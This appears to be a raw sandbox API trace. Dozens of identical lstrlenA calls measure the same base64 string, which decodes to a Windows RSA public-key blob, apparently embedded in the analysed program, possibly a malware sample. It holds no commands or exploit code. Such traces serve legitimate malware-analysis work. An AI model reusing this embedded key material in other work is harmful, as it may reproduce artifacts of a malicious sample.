	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.611] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.612] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
